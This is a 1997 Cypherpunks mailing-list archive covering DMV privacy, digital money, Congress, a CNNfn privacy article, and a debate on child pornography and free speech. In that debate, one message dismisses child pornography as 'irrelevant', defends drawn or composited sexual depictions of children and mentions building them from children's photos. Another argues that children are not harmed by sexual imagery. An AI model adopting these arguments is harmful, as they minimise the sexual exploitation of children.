I see two broad strategies here - if we're concerned about children and 
porn, we can either control children or control porn. I think that 
controlling children rather than porn is preferable, because:

1.	It provides the greatest amount of expressive freedom to adults
2.	It allows individual parents/families/communities to adopt their own 
local standards for what's acceptable

>If pornography is the enemy of crypto then that is enemy that must be
fought. 
>
>A battle that must be won without killing the enemy to insure continued
>free speech.  Quite a challenge I think.

Or we must find a way to avoid the battle - perhaps by abandoning the idea 
that children are "innocent", and that they're somehow harmed if they hear 
about or see pictures of sexual activity before they're 18.



--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 24 Jun 1997 06:56:26 +0800
To: tzeruch@ceddec.com
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <97Jun13.180309edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.SUN.3.96.970623184633.28368H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997 tzeruch@ceddec.com wrote:

> 
> If the state issues me a permit, they probably have a right to the
> information pertaining to the permit, e.g. they do need the make, model,
> year, and similar information about the car to issue a title or
> registration.  If they are issuing state ID, they need to know that I am
> me in order to issue it.  They don't need to place my mother's maiden name
> into the record although I think it appears on my birth certificate, and
> would cause problems since this is used as an informal password.  My
> driver's license is a permit to drive, not a permit to be me.  You can
> make a case for the database containing my age, but date of birth?  Much
> of what appears is not necessary for the purpose stated. 
> 
> So are you making the case for having the state ask every detail about
> your life and being able to place it in the licensing database, or only
> answers to those questions relevant to issuing the license?

I'm making the case that information I share with (for example) the DMV
should not be viewable by those OUTSIDE of the DMV and NYPD without my
consent - i.e. if Joe Insurance Inc. wants to insure my car, they need my
permission to have the DMV release the info; but some folks have taken
this to other weird tangents, such as polarizing one's point of view into
either libertarian or stasist.  I hold neither.  And I've given up on the
cluelessness of the same folks, so the topic I've dropped. :) 


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Tue, 24 Jun 1997 06:58:20 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: new money systems
In-Reply-To: <199706200103.SAA06874@netcom11.netcom.com>
Message-ID: <97Jun23.185147edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 19 Jun 1997, Vladimir Z. Nuri wrote:

Money is different than "wealth"

Start with "Money Mischief" by Milton Freidman for an interesting look at
the role of money.

Money has three functions:

1. as a medium of exchange (as opposed to barter)
2. as a store of wealth
3. as a measure of value (1 cow = $X, 1 sheep = $Y, 1 pig = $Z, instead of
   1 cow = 3.6 sheep).

> 1. why is it that even as our economy becomes "more productive", we
> have to work harder? families now require more than one wage earner
> when before they did not?

> 2. there are statistics that show in earlier times, it took [x]
> farmers to produce the food for the population, such that the ratio
> was something like 1 to 2 or so. now the ratio is nearly 1 to 60
> or greater. why does this not translate into more free time for
> everyone? could it be there is a means by which some entity can
> siphon off our spare energy and time?

If anyone was to adopt a 1920's lifestyle (few cars, no telephone or
electricity, no indoor plumbing in many places) they would have plenty
left over.  As long as consumption is the goal, you can keep working
longer to satisfy more marginal wants.  If I can convince a couple that
they "need" two luxury cars, they will work the longer hours.  If they are
satisfied with something less, they may get by with only one earner. 

However, you are correct in the sense that only half of today's income
goes to actually satisfying our wants, the other half goes to satisfy the
government.  In the 1950 you had a 1% taxation rate, and few regulations
(cars without air bags, computers, and catalytic converters are cheaper).
If you want to go back to 1950, and make your own decisions instead of
letting the government do so, you would have these things restored.

We work "harder" and have less free time only in the sense that we prefer
working longer hours and having expensive things and less free time to
working shorter hours and having more free time.

> 3. if someone is siphoning off energy from *everyone* simultaneously,
> could it be detected in our system? how?

It is called economic inefficiency (the electrical analogy might be
resistance).  If tarriffs are imposed on an import, I end up paying the
domestic producers a little more.  If some regulation forces an employer
to spend $100,000 printing manuals or something, he is spending that to
satisfy the government and not me.  And then there is the obvious "tax",
which you pay regardless of who sends the actual amount to the government
(e.g. the "employer's" half of FICA).

> what's the solution? some are looking toward "alternative" or "local"
> currencies. there are some cases such that local communities experienced
> more efficient economies when they resorted to local currencies out
> of desperation. 

The problem is one of exchange.  A local currency (banks used to issue
their own notes) is only good in that locality.  How do I buy a California
pistachio with Michigan Money?  Or with British Pounds for that matter. 
In all cases you get an exchange rate.  There will be a varying ratio
between any two given fiat currencies, and even two currencies based on
(i.e. redeemable in) different commodities.  A coupon for "one free
hamburger" is a type of currency.  You will sell it at a discount (less
than face value - the price of the hamburger) to someone who wants a
hamburger if you prefer a salad.  In that sense each fast-food place could
issue their own currency (or Shell with their prepaid gasoline cards), but
they would all be discounted from the cash value - why should I pay $1 for
a $1 coupon good only at McDonalds?  If I eat there often, I may pay $9
for 10 $1 coupons.  Another place where they already exist are "barter
clubs" as barter points.

But all the above won't fix any of your above points.  You will work
harder and be taxed on barter points, hamburger coupons, or anything else
based on their (hopefully discounted) value in dollars.  I will still have
to spend more of whatever to get a car with an airbag which I don't want.

The only reason we have national currencies is because nations have
different ideas about how large their inflation rates and defecits should
be and about trade.  That way they can control the supply of that currency
and require changing into that currency to do trade.

The archetypical digital monitary note would be exchangable for a fixed
amount of gold (only because that is considered by most people as "money" 
in a true form, but you could theoretically use any nonperishable
commodity).  As long as they were honored, it would be the same as having
a bullion coin of that amount.  (it could also be exchanged for another
equal note for those schemes that need to track "spent"  digital chunks). 

Having 1000 other currencies would mean that each currency would have a
fluctuating value relative to each other (great if you are an
arbitrageur), and to gold, so why would I want to say I have 5000
eco-greenstamp units instead of 2 grams gold when everyone would recognize
the value of the latter, but only locals the value of the former?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 24 Jun 1997 07:03:46 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <199706141405.JAA25820@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970623185144.28368I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 14 Jun 1997, William H. Geiger III wrote:

> >Should it include your address and phone number?
> 
> Yes

Well then, so much for asking the phone company to NOT list your number in
the phone book.  If someone wants to find you, all they have to do is
cough up some dough and register themselves as an insurance broker or
whatever and they can look at DMV records to get your phone number.
Thanks but no thanks.  You are being too dense on this.
 
> Two wrongs don't make a right Ray. The whole CIA NSA thing is just a
> flimsy straw man. All the documants being discused are on the state and
> local level. They do not have "national security" that they can hide
> behinde.

NSA I'll grant you might be a straw man.  FBI and CIA records should be
open to all to read - except ongoing current stuff, but I don't mean that
they should be open 50 years after the fact.  Government abuses DO and
HAVE occured.  I neededn't cite things like Waco and Ruby Ridge, do I?

What threat were those events to National Security?

> >But should the public know Joe's phone number and address and date of
> >birth?  Gee, weren't we screaming this sucks to easily accessible Texas
> >DMV records a few days ago?
> 
> YOU may have been screaming about it I was not.

That is quite telling of your beliefs.
 
> You have two choices you can take the Libertarian view of a minimal
> governement where all it's actions are reveiwable by it's citizens or you
> can take the Statest view of big governemtn where all is's actions are
> hidden and all "solutions" are more regulation and biger government.

Why should I accept being pidgeonholed into one category or the other?
Get a clue.
 
> The whole privacy issue is a strawman proped up by the government to
> frighten the sheeple so they can pass their agenda. What's their agenda?
> To have a series of privacy laws they can hide behind to keep their
> actions hidden from public view.

Um yeah, sure, and if you've nothing to hide why ask for privacy right?
Why don't you like put cameras in your home and monitors on the street so
anyone who wants to listen in on you and watch you can do so?

There should be no privacy issue.  Privacy should be a right as should the
right to use strong encryption WITHOUT GAK.  That is the point of strong
encryption without GAK after all: Privacy.  End of Story.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 08:25:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: spam on this list (fwd)
Message-ID: <199706232357.SAA24059@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 23 Jun 1997 19:25:51 -0400
> From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
> Subject: Re: spam on this list

> I support the constitution.  In the case of the first ammendment: The
> freedom it allows you, or whoever, to send spam and indulge in child
> pornography is the same freedom provided to those who say those ideas are
> wrong.  Got it?

But it isn't the same as you present it. I will explain below.

> How do we deal with child pornography and free speech in such a way as to
> allow both to exist and insure our children are not exposed to pornographic
> material until they are at a maturity level where they can deal with it?

Let's look at this carefuly for a moment. Child pornography in and of itself
is irrelevant. The issue is sexual acts involving one or more children by
adults which are committed with (or without) the specific intent of creating
some physical record for personal use or to pass to others (with or without
profit).

Now let's contrast this with a simple pencil drawing of a child and an
adult having sex (eg. Greek pottery).

The question is are these two acts, one involving a real physical act
involving a minor, and the other as a physical expression of the artists
imagination equivalent?

Some would have you believe they are the same. Unfortunately, I have yet to
see a clear explanation of the view. Now the other side is that they are
different. This belief rests on at least two basic tenents. The first being
that it is the physical act that constitutes the crime and not simply
thinking about it. The second is that there is a fundamental difference of
quality between an item and its representation in some symbology. From this
it becomes clear that the issue is how do we reduce the initial sexual
contact. If THAT can be resolved the other problems resolve themselves. Now,
let's assume for a moment that we have in fact resolved this issue. Should
we then regulate representations of these acts by persons when it is assumed
no actual child was involved? The representation is nothing more than the
ramblings of an expressive mind. So are we not making certain thought
illegal? This certainly contrasts with the belief that a crime requires an
act. That doesn't sound very rational to me. And what about if I don't draw
it but rather write a story? Or perhaps use my image editor to take children
bathing suite adds and medical sources to fill it out, why should this be
any different than a written description? Or perhaps that image on the Greek
pot? No, these sort of line drawing was meant to be prohibited by the
Constitution. The founding fathers must have known the world was a gray sort
of place so they took special precautions (ie 10 Amendments) to make nice and
clear boundaries for the federal government (ie 1'st Amendment). It is clear
that they expressely did not want the government involved in human
expression.

> If pornography is the enemy of crypto then that is enemy that must be fought. 

This is a straw man. There is no crypto involved in the physical act. Nice
strawman argument though, got almost the whole damn world swallowing at this
point....

> A battle that must be won without killing the enemy to insure continued
> free speech.  Quite a challenge I think.

Only if you are confused about exactly what the issue at hand is. We need
diagnostic proceedures usable by regular physicians and the issue really
needs to be handled as a medical and not a legal issue. Putting people in
jail won't effect this sort of human behaviour one damn bit. By the time the
guy gets to jail some poor kid has been really abused, is that how you want
your kid dealt with?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Gibbon <leegib@MICROSOFT.com>
Date: Tue, 24 Jun 1997 10:15:32 +0800
To: "'Ryan Anderson'" <roy@scytale.com
Subject: RE: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <51194C00BD39CF11839000805F385DB205394FAB@RED-65-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



Why do you want Congress to function?  "The best government is one that
governs least" (Who am I (mis)quoting?).  If Congress doesn't do much,
we're better off - especially if we had sunset clauses in every law...  

Assuming a government like ours, the problem I see with "eliminating 90%
of the sitting legislature" is the question of who really rules?  I
favor term limits - only one term per position.  I don't like the idea
of professional politicians.  But, where would the power reside?  The
bureaucracy and the political parties?  -Sounds dangerous to me.

Lee
<standard disclaimers>

> -----Original Message-----
> From:	Ryan Anderson [SMTP:randerso@ece.eng.wayne.edu]
> Sent:	Saturday, June 21, 1997 10:07 AM
> To:	roy@scytale.com
> Cc:	cypherpunks@cyberpass.net
> Subject:	Re: New Laws in Oregon - "Land of the Legal betatest"
> 
> 
> On Sat, 21 Jun 1997, Roy M. Silvernail wrote:
> 
> > > How do you propose to deal with such things as the
> Telecommunications Act
> > > of 1996 (which incidently included the CDA)?   I can see a problem
> where
> > > one sentence or clause gets thrown out of a major bill (say a
> compromise
> > > budget, that someone screwed up one minor ammendment), and if you
> have
> > > that happen 3 times in 6 years, you've lost 90% of your senators!
> I'm not
> > > saying that your idea isn't without merit, just that it's got a
> few
> > > problems that strike me as somewhat major..
> > 
> > Please elaborate, as I can't see _any_ problem with eliminating 90%
> of
> > the sitting legislature.
> 
> You've completely missed my point.  This would be an on-going problem.
> Congress can only function with some idea of compromise in it.  When
> you're passing budgets, especially the kind of budgets we have right
> now,
> they get big and complicated, I can't see that changing significantly,
> even with a massive turnover of members.  But having no consistency in
> Congress at all, even for some "good" reps would be horrible.
> 
> ----------------------------------------------------------------------
> -
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might
> sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the
> USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> ----------------------------------------------------------------------
> -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 24 Jun 1997 08:49:53 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-digitaljam-9706-23-netbiz-
Message-ID: <199706240022.TAA24149@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   DIGITAL AlphaServer Systems [INLINE] Digital Jam [INLINE] 
   Big Brother brouhaha
   
   
   Privacy concerns lead on-line marketers to try softer approaches
   
   
   June 23, 1997: 11:08 a.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Archenemies join hands - June 11, 1997
   
   FTC tackles privacy - June 10, 1997
   
   
   [IMAGE]
   
   Federal Trade Commission 
   
   TRUSTe NEW YORK (CNNfn) - There's an Internet argument going on.
   [INLINE] On one side are people who want to surf the Net in peace,
   free from the "spam" and insidious snooping of those anxious to make a
   quick buck.
   [INLINE] On the other side are businesses looking to take advantage of
   the Internet's promise as a vehicle for reaching specific customers
   cheaply and efficiently.
   [INLINE] Can the two sides coexist? Or will privacy advocates succeed
   in driving cyber-hawkers off line?
   [INLINE] Unlikely, experts say. That's because online companies are
   starting to use other marketing tools that make people worry less
   about Big Brother.
   [INLINE] The issue has heated up lately. Privacy rights groups are
   alarmed about the potential for abuse with junk e-mail and other
   invasive technology. In response, the Federal Trade Commission is
   probing whether marketers are snooping too much.
   [INLINE] The industry, meanwhile, is coming up with its own solutions
   to prevent lawmakers from stepping in.
   [INLINE] Experts say most of the practices raising eyebrows aren't
   much different from what's been happening off-line for years. Yet
   other analysts concede there is danger in an age where extensive
   personal information is available with the press of a key.
   [INLINE] "Consumers don't like to be shoulder-surfed when they're
   online," said Kate Delhagen, a senior analyst with Forrester Research
   Inc. in Cambridge. "(But) this is not a deal-breaker for the Web. The
   Web is alive and well and will continue to thrive. These little bombs
   will continue to go off, and they'll continue to be fixed."
   [INLINE] Besides e-mail, or "spamming," some marketers use browser
   technology to find out where a user has been on the Net or track him
   when he leaves a site by following his electronic footprints.
   Companies are also selling information on databases.
   [INLINE] "It's as if they can shadow you on the Web," said Susan
   Scott, executive director of TRUSTe, a non-profit organization of 50
   companies whose mission is to promote trust in online commerce.
   [INLINE] Dan Miller, senior editor with The Web Magazine in San
   Francisco, thinks junk e-mail and the other practices aren't central
   to doing business online.
   [INLINE] "You can do business online without violating someone's
   privacy," Miller said.
   [INLINE] Instead of flooding people with junk e-mail, or "spam," some
   companies such as Amazon.com ask users if they want to be notified
   about new products, Miller said. That puts the control in the hands of
   the users, he said.
   [INLINE] In other cases, companies are creating new partnerships, like
   the one between Border books and Salon, an online Arts magazine,
   Miller said. At the end of Salon's book reviews is a link to Border so
   people can order the book.
   [INLINE] Experts said the disputed methods do work - but at the risk
   of alienating customers.
   [INLINE] "People universally hate spam," said Evan Schwartz, author of
   "Webonomics" and a contributing editor to "Wired" magazine. Smart Web
   sites treat customers respectfully by avoiding mass e-mailing or
   selling information from lists, he said.
   [INLINE] Scott said spamming is more widespread among smaller
   companies because it's so cheap - pennies for each e-mail address
   compared to a few dollars for each name in direct mail.
   [INLINE] "It's a numbers game - the more you send out, the more
   response you get," Scott said. The method has about a 1 percent
   return.
   [INLINE] Sanford Wallace, founder and president of Cyber Promotions,
   the largest bulk e-mail company in the country, insists the practice
   doesn't violate privacy. But he helped organize the Internet E-Mail
   Marketing Council to promote ethical standards. The council has a
   central address where people can get their names removed from all mass
   e-mailers.
   [INLINE] While the new standard might mean the loss of huge numbers of
   customers, "there are still millions and millions left," Wallace said.
   [INLINE] Tracking has been effective to help marketers find out about
   a person's interests so they can target ads, Scott said. If a person
   visits gardening sites, for example, a vendor can flash banner ads on
   the topic.
   [INLINE] "People don't understand the technology and there's a lot of
   anxiety about it," Scott said. "There's so much bad press that it's
   past the point of educating the consumer."
   [INLINE] Controversy about tracking was so heated two archrivals,
   Microsoft Corp. and Netscape Communications Corp., recently proposed a
   common standard so users can control how much information is available
   about themselves.
   [INLINE] Experts say selling information from databases isn't much
   different from what's been happening in the catalogue business.
   [INLINE] "That type of thing happens all the time," said Don Heath,
   president and chief executive of the Internet Society, a non-profit
   organization of 8,000 individuals and organizations.
   [INLINE] Eight information companies, including LEXIS-NEXIS, recently
   adopted guidelines to protect personal information like Social
   Security numbers on databases.
   [INLINE] Scott argued that most online companies still rely on
   traditional advertising.
   [INLINE] "These (disputed) methods haven't been widespread," Scott
   said. "Even Yahoo goes on TV to tell people to get on the Web. To
   reach the mass market, you have to go through traditional means."
   [INLINE] Scott thinks the uproar about electronic privacy will force
   people to think about the issue off-line, too. People have resigned
   themselves to getting piles of junk mail and catalogues, for example.
   [INLINE] "People had given up trying to protect their privacy, but
   this will make them think about it again," Scott said. Link to top 
   [INLINE] -- Martine Costello
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] quote box
   [INLINE] - Kate Delhagen
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   [INLINE] Wallace photo
   [INLINE] Sanford Wallace doesn't think bulk e-mail violates privacy
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Tue, 24 Jun 1997 07:39:04 +0800
To: Alan <alano@teleport.com>
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <3.0.2.32.19970623192551.00935250@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I truly admire how you (and others) infer what you have from my post.
Simply remarkable.

I will keep my statements short and direct for those of you who have had to
much coffee.

I support the constitution.  In the case of the first ammendment: The
freedom it allows you, or whoever, to send spam and indulge in child
pornography is the same freedom provided to those who say those ideas are
wrong.  Got it?

I did not intend to infer any sexuality of any kind.

The question still stands --- please try not to rant --- attempt to post
your constructive thoughs:

How do we deal with child pornography and free speech in such a way as to
allow both to exist and insure our children are not exposed to pornographic
material until they are at a maturity level where they can deal with it?

If pornography is the enemy of crypto then that is enemy that must be fought. 

A battle that must be won without killing the enemy to insure continued
free speech.  Quite a challenge I think.

Now, do you have any idea how to do that?
At 10:42 AM 6/23/97 -0700, you wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>
>At 10:42 AM 6/23/97 -0700, Alan wrote:
>On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:
>
>> I certainly agree with free speech and understand how it can be manipulated
>> by the scum bags at large in society, _BUT_ free speech is free speech.
>> The warts come from an ever increasing BENT society.
>
>No you don't.  You believe in free speach for the things that do not tweak
>your worldview.  I am certainly willing to bet that if you had the chance
>to remove the rights of the "bent" people from expressing their views, you
>would not hesitate in the slightest.
>
>> I still am concerned about kids being subject to material that is
>> inappropriate for their age group (what ever that may be).  
>
>"Whatever that may be" is a very telling statement.  How can you tell what
>is "appropreate" or "not".  What the media tells you?  What your religious
>leaders tell you?  What the voices in your head tell you?  What the
>government tells you?  All of those values are subjective.  They depend on
>what you may or may not believe is "harmful".  Most of that is based on
>cultural conditioning.
>
>>So how do I
>> insure that my son/daugher does not get their hands on _THIS_ material?
>
>Kill them now.  Stick them in a box and feed them through a slot in the
>door. Gouge out their eyes. Cut off their hands.
>
>> Twenty seven years ago I took an oath to do whatever was needed to protect
>> and defend the constitution against all enemies (domestic and foreign)  But
>> what is the solution to this problem from a parents point of view?
>
>You view the constitution as a problem?  Free speach as a problem?
>
>Or maybe you have a problem that your children might learn about things
>that you disapprove of?  Maybe they might read something that shows them
>that sex is a part of life, not just something that is a side benefit of
>marriage.  Maybe they might learn that sex is fun!  Maybe they will find
>out that the religion their parents saddled them with is based on lies and
>urban legend.  maybe they will find that their government is not so kind
>and benevolent after all.  Maybe they will find out that their parents are
>human and make mistakes.  Or maybe they will even figure out that the
>material the parents are so afraid of are only harmful to the parents...
>
>>  Simple
>> - control the material.  Make it like liquor, guns, booze.  Oops.. for some
>> reason this is a violation of the 1st amendment to!
>
>It is also an impossibility.  People have tried to control the natural
>interest in sex since the dawn of time.  Has not worked yet.  Porn has
>existed since man discovered woman.  Some of the earliest existing films
>are porno movies.  What has changed is access and awareness.  Until
>reletive reciently porn has been more underground.  But with the spread of
>technology, it has become easier and easier to supply the demand for such
>things.
>
>Or as a certain math professor once said... "Dirty books are fun!"
>
>>  Ok, my mistake, its my
>> problem.  That's easy, no Internet access.  Now my kid is at a
>> disadvantage!  I keep loosing here.  I don't like the way this is beginning
>> to feel!!
>
>Your kid is already at a disadvantage.  His parents have lost perspective.
>
>> I'm sure that the community on this list has discussed this problem at
>> length.  What is the best defense?  How do we get the message out or,
>> better yet, deliver it?  
>
>You assume that it actually is a problem.  Your moral qualms over pictures
>of sexual activity does not a problem make.
>
>it is people like yourself who are activly destroying what little remains
>of the constitution.  You want an exception for this and a rationalization
>for that until thre is nothing left but the blandest and most tasteless
>thoughts and speach.
>
>> Whatever that is, we need to do the same thing for the 2nd Ammendment, and
>> the 3rd, and so on.
>
>Like actually follow it?  Wow!  That would be a first.
>
>> The challenge to write code could be fun, but maybe we should use our
>> collective wisdom to deliver the best of the best solutions (there may be
>> more than one) to our elected officials.  Load their mailboxes up with
>> solutions to problems.  Sooner or later more than one of them is going to
>> think its his/her idea and push it along.  Web sites can be set up to
>> assist them with details.  I'm sure you get the idea.
>
>You are talking to the wrong group of people.  What you are asking for is
>a way to censor the masses.
>
>Anything an adult can get, a child can get.
>
>Attempts to censor children and control what they hear, see and feel are
>vague attempts to do the same to adults.  You cannot control the
>information feed to children without controling the information feed for
>adults. (But deep down in your heart you would like to see that as well.)
>
>> Just another citizen wondering if anything is going to be left for our
>> grandchildren.
>
>You think this information will harm them?  Actually the control freak
>mentality you want to impose is far far worse.  In actuality, much of the
>problems you would like to blame on porn are, in actuality, borne out of
>this country's hypocracy and neurosis about sex and sexuality.  the reason
>people are so fucked up about fucking is because they have been taught
>that sex is somehow wrong and shameful and dirty.  That appreciating the
>beauty of the sexual act is somehow more vile and disgusting than showing
>someone shot full of holes.
>
>I think you need to examine WHY this information makes you uncomfortable.
>You might learn something about yourself.  But don't expect us to help
>inflict your sickness on the minds of your children.
>
>alano@teleport.com | "Those who are without history are doomed to retype it."
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 23 Jun 1997 21:48:28 +0800
Subject: Re: spam on this list
In-Reply-To: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.970623185908.143B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Philip A. Mongelluzzo wrote:

[...]

> I certainly agree with free speech and understand how it can be manipulated
> by the scum bags at large in society,

There is a cuple of mixxed messeges here and I'm going to try to sort them
out.

Do you mean scum bags as in crooks who steal my mail box I pay for without
my permittion to sell me stuff I don't whant?  Then under normal
property laws I should be able to gain reprehence.

Thouse who con naive peaple into giveing them money?

The best wepon against these is an informed and educated public.
Unfortunitly the fact that peaple still post MMF indercates the net-public
still has a sizable number of peaple with inpeard thort proccesses.

Or do you mean thouse who have diffrent sexulial natures to you?

I've met plenty of peaple like this, most of them I would consder postive
contracbutions to the world.

[...]

> I still am concerned about kids being subject to material that is
> inappropriate for their age group (what ever that may be).

First question kids in general or your kids?

> So how do I
> insure that my son/daugher does not get their hands on _THIS_ material?

The best and often easyest to implerment is to use the internet with them.
Net(lock nanny ect) type softwere is of debaitable qulity, the main
question with it is "Do you trust a corpration to bring up your child."?

> Twenty seven years ago I took an oath to do whatever was needed to protect
